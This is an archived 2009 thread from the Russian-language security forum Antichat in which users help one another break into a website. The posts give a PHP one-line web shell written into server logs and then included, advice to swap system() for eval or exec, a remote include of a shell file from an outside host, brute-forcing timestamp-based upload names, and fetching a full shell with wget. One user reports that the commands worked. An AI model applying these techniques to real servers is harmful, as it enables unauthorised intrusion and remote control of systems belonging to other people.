ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
12.08.2009, 20:07
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734
Репутация:
1917
|
|
Сообщение от u36a
хорошо, спасибо, попробую.. просто как добавлять новости с файлом я тоже найти не могу..
Да и ещё там будет номер из цифр пяти-шести перед файлом, его тоже узнать как-то надо. =)
Ладно, буду пробывать, спасибо за эту инфу.
это timestamp, запоминай время заливки файла переводи в unixtime и напиши брутер который который этот timestamp подберет, только вот из-за .htaccess наверное ничего не выйдет с шеллом
__________________
Карфаген должен быть разрушен...
|
|
|
12.08.2009, 15:00
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802
Репутация:
380
|
|
Сообщение от [Raz0r]
Если апач с mod_mime, то будет
Наверно стоило бы уточнить что сначало надо соответствуюший AddType(AddHandler) добавить - а то сейчас человека можно запутать.
Последний раз редактировалось PaCo; 12.08.2009 в 15:05..
|
|
|
|
12.08.2009, 15:28
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912
Репутация:
4693
|
|
Сообщение от PaCo
Наверно стоило бы уточнить что сначало надо соответствуюший AddType(AddHandler) добавить - а то сейчас человека можно запутать.
Наоборот, хендлер для .flv НЕ должен быть прописан.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
12.08.2009, 16:01
|
|
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме:
393885
Репутация:
34
|
|
записал в лог <?php system($_GET[cmd]); ?> хотел копировать в tmp а потом уже инклудить,но опять ошибка))
Parse error: syntax error, unexpected '['
как это закомментировать?
|
|
|
|
12.08.2009, 16:06
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912
Репутация:
4693
|
|
Пиши в лог Но лучше вместо system - eval, он заработает, если system запрещён.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
12.08.2009, 16:11
|
|
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме:
393885
Репутация:
34
|
|
уже пробовал eval ,undefind function
system не запрещен,в логе ls уже выполнилось
|
|
|
|
12.08.2009, 19:51
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Попробуй exec вместо eval.
|
|
|
|
12.08.2009, 20:58
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
это timestamp, запоминай время заливки файла переводи в unixtime и напиши брутер который который этот timestamp подберет, только вот из-за .htaccess наверное ничего не выйдет с шеллом
Насколько я знаю, шестизначный timestamp был еще в 1970 году.
А сейчас десять знаков в timestamp'e.
|
|
|
|
12.08.2009, 21:08
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734
Репутация:
1917
|
|
По крайней мере в 6-ой ветке был именно timestamp в качестве префикса
__________________
Карфаген должен быть разрушен...
|
|
|
|
13.08.2009, 03:31
|
|
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме:
393885
Репутация:
34
|
|
вобщем могу выполнять команды через php include+логи,как можно залить норм шелл?
<?php include("http://site/nstview.txt"); ?> не прокатило,wget curla нету(смотрел в /bin/)
если в reffer вставить норм шелл,прокатит?
_____
Попробовал через reffer не получилось.Все залил там был wget,лежал не в bin
Последний раз редактировалось RazyKK; 13.08.2009 в 04:13..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
